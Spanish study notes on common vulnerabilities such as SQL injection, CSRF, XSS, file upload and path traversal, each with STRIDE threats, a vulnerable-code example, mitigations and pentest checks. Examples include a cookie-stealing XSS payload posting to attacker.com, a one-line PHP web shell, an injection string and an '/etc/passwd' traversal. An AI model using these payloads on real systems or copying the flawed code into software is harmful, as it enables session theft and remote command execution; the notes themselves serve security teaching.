Lista de vulnerabilidades

SQL Injection
Cross Site Request Forgery (CSRF)
Cross-Site Scripting (XSS)
Improper Authentication
Missing Authorization
Sensitive Data Exposure
Buffer Overflow
Integer Overflow
Unrestricted Upload of File with Dangerous Type
Path traversal
Allocation of Resources Without Limits or Throttling

Amenazas: se analizan en base a las categorías STRIDE

Pruebas: son aquellas que podemos hacer durante pentesting (deben ser repetibles)

SQL Injection

Ocurre cuando no hay suficientes controles en cuanto a los inputs de los usuarios. Es decir, no se limpian ni se filtran los datos que ingresan los usuarios. Esto puede ocasionar que aquellos datos se interpreten como instrucciones SQL en vez de datos de usuarios. En consecuencia, un atacante puede bypassear chequeos de seguridad, insertar datos en la base de datos o incluso obtener datos de dicha base.

Amenaza(s):

- Information disclosure ⇒ viola confidencialidad
- Spoofing ⇒ viola autenticación
- Tampering ⇒ viola integridad

Ejemplo:

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

Un atacante puede enviar como id: a’ or ‘1=1

⇒ http://example.com/app/accountView?id=a’ or '1=1

Luego, se ejecuta “SELECT * FROM accounts WHERE custID=’a’ or ‘1=1’”, que da siempre true.

Medidas preventivas:

- Restringir la entrada de datos únicamente a caracteres válidos (Ej. números, letras…)
- Evitar caracteres como ? ; ‘ |
- Filtrar las entradas y limpiarlas, evitando palabras como where, or, and…
- Evitar pegar las entradas directamente a una instrucción SQL

Pruebas:

La idea es probar todos los inputs accesibles por los usuarios y ver en qué casos logramos que ocurran cosas que no debieran. Por ejemplo, en el login podemos probar acceder a una cuenta sin saber la contraseña o en la search bar podemos intentar inyectar datos a la BD y ver si hubieron cambios.

Cross Site Request Forgery (CSRF)

La aplicación web no verifica o no puede verificar si el request fue intencionalmente provisto por el usuario que envío la request. Es decir, el CSRF explota la confianza que un sitio tiene en un usuario en particular. El atacante intenta que el usuario haga algo que el quiera (Ej. transferir plata, cambiar su mail) cuando este último está autenticado.

Amenaza(s):

- Information disclosure ⇒ viola confidencialidad
- Repudiation ⇒ viola non repudiation
- Denial of service ⇒ viola disponibilidad
- Tampering ⇒ viola integridad

Ejemplo:

Si un banco hace las transferencias via la siguiente URL:

> GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1

Un atacante Gasti puede engañar a Juan para que le transfiera $100000 haciendo que Juan haga click sobre un link ordinario en el cual se esconde la siguiente URL:

> <a href="http://bank.com/transfer.do?
> acct=GASTI&amount=100000">Hace click!

Medidas preventivas:

- Considerar el atributo SameSite Cookie
- Usar algún framework con built in CSRF protection
- Identificar operaciones peligrosas (Ej. transacciones grandes)
- Usar el método “double-submitted cookie”

⚠️ Ojo: muchas de estas medidas pueden ser bypasseadas usando XSS

Pruebas:

Se puede probar al igual que el ejemplo mencionado previamente y analizar si la operación se lleva a cabo exitosamente. Pero la prueba no debe ser intrusiva y por lo tanto la URL debiera sólo obtener alguna información y no actuar sobre ella.

Cross-Site Scripting (XSS)

Los ataques XSS explotan la confianza que un usuario tiene en un sitio particular. Está basado en la explotación del sistema de validación de HTML incrustado. El XSS es una vulnerabilidad que aprovecha la falta de mecanismos de filtrado en los campos de entrada y permiten el ingreso y envío de datos sin validación alguna, aceptando el envío de scripts completos, pudiendo generar secuencias de comandos maliciosas que impacten directamente en el sitio o en el equipo de un usuario.

```
Cross-site scripting (XSS) vulnerabilities occur when:

1. Untrusted data enters a web application, typically from a web request.
2. The web application dynamically generates a web page that contains this
untrusted data.
3. During page generation, the application does not prevent the data from
containing content that is executable by a web browser, such as JavaScript,
HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
4. A victim visits the generated web page through a web browser, which
contains malicious script that was injected using the untrusted data.
5. Since the script comes from a web page that was sent by the web server,
the victim's web browser executes the malicious script in the context of the
web server's domain.
6. This effectively violates the intention of the web browser's same-origin
policy, which states that scripts in one domain should not be able to access
resources or run code in a different domain.
```

```
Type 1: Reflected XSS (or Non-Persistent)
The server reads data directly from the HTTP request and reflects it
back in the HTTP response. Reflected XSS exploits occur when an attacker
causes a victim to supply dangerous content to a vulnerable web
application, which is then reflected back to the victim and executed by
the web browser. The most common mechanism for delivering malicious
content is to include it as a parameter in a URL that is posted publicly
or e-mailed directly to the victim. URLs constructed in this manner
constitute the core of many phishing schemes, whereby an attacker
convinces a victim to visit a URL that refers to a vulnerable site.
After the site reflects the attacker's content back to the victim,
the content is executed by the victim's browser.

Type 2: Stored XSS (or Persistent)
The application stores dangerous data in a database, message forum,
visitor log, or other trusted data store. At a later time, the dangerous
data is subsequently read back into the application and included in
dynamic content. From an attacker's perspective, the optimal place to
inject malicious content is in an area that is displayed to either many
users or particularly interesting users. Interesting users typically
have elevated privileges in the application or interact with sensitive
data that is valuable to the attacker. If one of these users executes
malicious content, the attacker may be able to perform privileged
operations on behalf of the user or gain access to sensitive data
belonging to the user. For example, the attacker might inject XSS into
a log message, which might not be handled properly when an administrator
views the logs.
```

Amenaza(s):

- Information disclosure ⇒ viola confidencialidad
- Denial of service ⇒ viola disponibilidad
- Tampering ⇒ viola integridad

Ejemplo:

En la aplicación:

> (String) page += "<input name='creditcard' type='TEXT’ value='" + request.getParameter("CC") + "'>";

El atacante modifica el parametro ‘CC’ en el browser:

> '><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'

El atacante entonces hace que el session ID de la víctima se envíe al website del atacante permitiendo que tome control de la sesión del usuario.

Medidas preventivas:

- Utilizar frameworks seguros que, por diseño, automáticamente codifican el contenido para prevenir XSS, como en Ruby 3.0 o ReactJS.
- Habilitar una Política de Seguridad de Contenido (CSP) supone una defensa profunda para la mitigación de vulnerabilidades XSS, asumiendo que no hay otras vulnerabilidades que permitan colocar código malicioso vía inclusión de archivos locales, bibliotecas vulnerables en fuentes conocidas almacenadas en Redes de Distribución de Contenidos (CDN) o localmente.
- Codificar los datos de requerimientos HTTP no confiables en los campos de salida HTML (cuerpo, atributos, JavaScript, CSS, o URL) resuelve los XSS Reflejado y XSS Almacenado.
- Aplicar codificación sensitiva al contexto, cuando se modifica el documento en el navegador del cliente, ayuda a prevenir XSS DOM. Cuando esta técnica no se puede aplicar, se pueden usar técnicas similares de codificación.

Pruebas:

- Probar “<script>alert(’hola’)</script> en los inputs. De ejecutarse dicha alerta, la página es vulnerable ante ataques XSS.
- Crear una URL incluyendo como parámetro algún comando malicioso. Acceder a dicha URL y analizar si se ejecuta dicho comando.

Improper Authentication

Cuando un atacante se hace pasar por un usuario y el software no verifica o no tiene pruebas suficientes para verificar que es quien dice ser. Esto puede pasar cuando las funciones de la aplicación relacionadas a autenticación se implementan incorrectamente. Esto permite a los atacantes explotar las contraseñas o los tokens de sesión asumiendo la identidad de otro usuario.

Amenaza(s):

- Tampering ⇒ viola integridad
- Information disclosure ⇒ viola confidencialidad
- Denial of service ⇒ viola disponibilidad

Ejemplo:

Probar contraseñas a morir, si el sistema no restringe la cantidad de intentos es posible.

Medidas preventivas:

- Agregar restricciones a las passwords

- Chequear contraseñas débiles
- Agregar límite en cuanto a intentos de contraseñas e ir agregando tiempo de espera
- Implementar multi-factor authentication

Pruebas:

- Intentar acceder al sitio sin autenticarse
- Intentar registrarse con contraseñas débiles
- Probar usuarios y contraseñas comunes

Missing Authorization

Esta vulnerabilidad se da cuando el sistema verifica mal los accesos a los recursos en base a los privilegios y permisos de los usuarios. Si no se hacen los controles necesarios, los usuarios podrían acceder a información sensible.

Amenaza(s):

- Tampering ⇒ viola integridad
- Information disclosure ⇒ viola confidencialidad

Ejemplo:

```
function runEmployeeQuery($dbName, $name){
mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
//Use a prepared statement to avoid CWE-89
$preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
$preparedStatement->execute(array(':name' => $name));
return $preparedStatement->fetchAll();
}
/.../

$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);
```

Este código permite evitar SQL Injection pero no verifica si el usuario tiene permitido ejecutar la query. Por lo cual, un atacante podría obtener datos sensibles de la base de datos.

Medidas preventivas:

- Limitar correctamente las funcionalidades y los datos a los que tienen acceso cada rol
- Asegurarse de hacer los chequeos desde el lado del servidor para evitar que los atacantes accedan vía un request directo

Pruebas:

- Hacer accesos directos (Ej. desde Postman)
- Intentar acceder a recursos no permitidos por los distintos roles

> ⚠️ No modificar nada para que la prueba no sea intrusiva pero demostrar que el atacante podría.

Sensitive Data Exposure

Muchas aplicaciones no protegen lo suficiente los datos sensibles (Ej. tarjetas de crédito). Los atacantes pueden robar y/o modificar esta data cuando está en tránsito.

Amenaza(s):

- Information disclosure ⇒ viola confidencialidad
- Tampering ⇒ viola integridad
- Spoofing ⇒ viola autenticación

Ejemplo:
La aplicación encripta los números de tarjetas de crédito correctamente. Sin embargo, cuando se quiere acceder a alguna, se desencripta automáticamente. Entonces, un atacante puede hacer SQL Injection y robar datos de alguna tarjeta.

Medidas preventivas:

- Encriptar toda la data sensible
- Evitar almacenar datos sensibles innecesarios
- Encriptar toda la data en tránsito con protocolos seguros como TLS

Pruebas:

- Downgrade el protocolo a alguno vulnerable
- Probar SQL Injection sobre datos sensibles y analizar si los devuelve
- Hacer un ataque activo del tipo man-in-the-middle

Buffer Overflow

El programa copia una cantidad de datos sobre un área que no es lo suficientemente grande para contenerlos, sobreescribiendo otras zonas de memoria. La consecuencia de escribir en una zona de memoria imprevista puede resultar impredecible, pudiendo en algún caso alterar el flujo normal del programa. Un atacante puede cambiar el

control de flujo, tener acceso a código que debería estar protegido, leer información sensible o incluso ocasionar una caída del sistema. Esto se debe a que el sistema no chequea el tamaño de entrada, calcula mal el tamaño del buffer o no valida adecuadamente el índice de un arreglo.

Amenaza(s):

- Tampering ⇒ viola integridad
- Information disclosure ⇒ viola confidencialidad
- Denial of service ⇒ viola disponibilidad

Ejemplo:

```
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
  char buffer[10];
  strcpy(buffer, argv[1]);
  return 0;
}
```

Si la entrada es mayor a 10, provoca buffer overflow.

Medidas preventivas:

- Usar algún lenguaje en el que este tipo de vulnerabilidad sea más fácil de evitar
- Usar algún framework que proteja ante este tipo de vulnerabilidad
- Chequear los índices de acceso a arreglos
- Chequear que el tamaño de buffer sea el correcto
- Herramientas de compilación que intentan mitigar o eliminar esta vulnerabilidad

Pruebas:

- Intentar acceder a un out of bound index
- Intentar copiar algo grande a un buffer de tamaño determinado, si se pisa es que no se están haciendo los chequeos necesarios

Integer Overflow

El software hace un cálculo que produce un integer overflow o wraparound cuando la lógica asume que el valor será mayor que el original. Ejemplo: en una variable unsigned char, si sumo 255 + 1 da 0 cuando uno esperaría que dé 256.

Amenaza(s):

- Denial of service ⇒ viola disponibilidad
- Tampering ⇒ viola integridad
- Information disclosure ⇒ viola confidencialidad en casos en el que la vulnerabilidad provoque un buffer overflow

Ejemplo:

```
nresp = packet_get_int();
if (nresp > 0) {
  response = xmalloc(nresp*sizeof(char*));
  for (i = 0; i < nresp; i++)
    response[i] = packet_get_string(NULL);
}
```

El programa chequea que nresp sea mayor que 0 antes de alocar memoria dado que un malloc(0) resulta en una alocación de memoria de size 0 provocando un overwriting i.e segmentation fault. Sin embargo, no tiene en cuenta el caso de que nresp*sizeof(char*) sea mayor que INT_MAX = 4294967295. De ser así, se termina alocando memoria de tamaño 0.

Medidas preventivas:

- Verificar todas las entradas numéricas y asegurarse de que estén dentro del rango esperado
- Hacer chequeos tanto del lado del cliente como del lado del servidor para evitar que un atacante bypassee los cheques del lado del cliente

Pruebas:

- Ingresar números fuera del rango esperado y ver que pasa
- Hacer pruebas desde la aplicación pero también pegando directo al servidor

Unrestricted Upload of File with Dangerous Type

El software permite que el atacante sube o transfiera archivos peligrosos, por ejemplo un archivo que es interpretado y ejecutado como código por el receptor (Ej. una imagen que en vez de tener extensión .gif tiene extensión .php).

Amenaza(s):

- Tampering ⇒ viola integridad
- Denial of service ⇒ viola disponibilidad

- Information disclosure ⇒ viola confidencialidad

Ejemplo:

```
<form action="upload_picture.php" method="post" enctype="multipart/form-data">

Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>
```

Una vez que se sube la foto, se envía el archivo a upload_picture.php. El problema con el código siguiente es que no hay chequeos sobre la extensión del archivo que se está subiendo.

```
// Define the target location where the picture being

// uploaded is going to be saved.
$target = "pictures/" . basename($_FILES['uploadedfile']['name']);

// Move the uploaded file to the new location.
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)) {
  echo "The picture has been successfully uploaded.";
} else {
  echo "There was an error uploading the picture, please try again.";
}
```

Un atacante podría subir un archivo malicious.php con el siguiente código.

```
<?php
  system($_GET['cmd']);
?>
```

Luego, una vez que se instala el archivo, el atacante puede ingresar un comando para ejecutar usando una URL como:

> http://server.example.com/upload_dir/malicious.php?cmd=ls -l

El comando que se ejecuta es “ls -l”.

Medidas preventivas:

- Generar un nuevo filename para un archivo subido en vez de usar el nombre provisto por el usuario

- Filtrar todos los inputs y restringir los inputs a una lista de inputs aceptables (Ej. solo aceptar .png)

Pruebas:

- Subir archivos con distintas extensiones y analizar que ocurre
- Subir archivos con doble extensión (Ej. archivo.php.gif) dado que algunos servidores procesan archivos basados en extensiones internas

Path traversal

La finalidad de este ataque es ordenar a la aplicación a acceder a un archivo al que no debería poder acceder o no debería ser accesible. Este ataque se basa en la falta de seguridad en el código. También es conocido el ataque punto punto barra (../), escalado de directorios y backtracking.

Amenaza(s):

- Tampering ⇒ viola integridad
- Denial of service ⇒ viola disponibilidad
- Information disclosure ⇒ viola confidencialidad

Ejemplo:

```
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;

open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
  print "<li>$_</li>\n";
}
print "</ul>\n";
```

La idea de este código es que se pueda acceder a archivos como "/users/cwe/profiles/alice”. Sin embargo, como no hay verificación del parámetro “user”, un atacante podría ingresar “../../../etc/passwd”. Luego, el programa generaría el siguiente path: “/users/cwe/profiles/../../../etc/passwd”. Como resultado, el atacante podría leer el password file.

Medidas preventivas:

- Evitar inputs de usuarios cuando trabajamos con file system calls
- Evitar cargar archivos de configuración sensible en el web root

- Filtrar el input del usuario (Ej. no permitir ..)

Pruebas:

- Probar todos los parámetros relacionados a archivos en las URLs e ingresar parámetros de tipo “../etc/passwd” o simplemente “../” para ver si estamos accediendo algún archivo que no tendríamos que acceder

Allocation of Resources Without Limits or Throttling

Esta vulnerabilidad se da cuando el software no controla correctamente la alocación y el mantenimiento de recursos limitados. Estos recursos incluyen memoria, conexiones, CPU… Un atacante puede influenciar en la cantidad de recursos consumidos y provocar un denial of service al consumir todos los recursos disponibles.

Amenaza(s):

- Denial of service ⇒ viola disponibilidad

Ejemplo:

```
sock = socket(AF_INET, SOCK_STREAM, 0);
while (1) {
  newsock = accept(sock, ...);
  printf("A connection has been accepted\n");
  pid = fork();
}
```

Este programa no tiene en cuenta la cantidad de conexiones entrantes. Por lo tanto, un atacante puede hacer muchas conexiones y evitar que otros puedan acceder al sistema o puede consumir los recursos de CPU, memoria…

Medidas preventivas:

- Limitar la cantidad de recursos que un usuario no autorizado puede usar
- Limitar la cantidad de recursos que puede pedir un mismo usuario
- Un buen control de acceso y autenticación pueden prevenir este tipo de vulnerabilidad

Pruebas: dentro de un ambiente de prueba

Intentar pedir muchos recursos y ver si se rompe el sistema. También se puede probar para usuarios de distintos roles con distintos accesos para ver si el sistema maneja bien la autorización.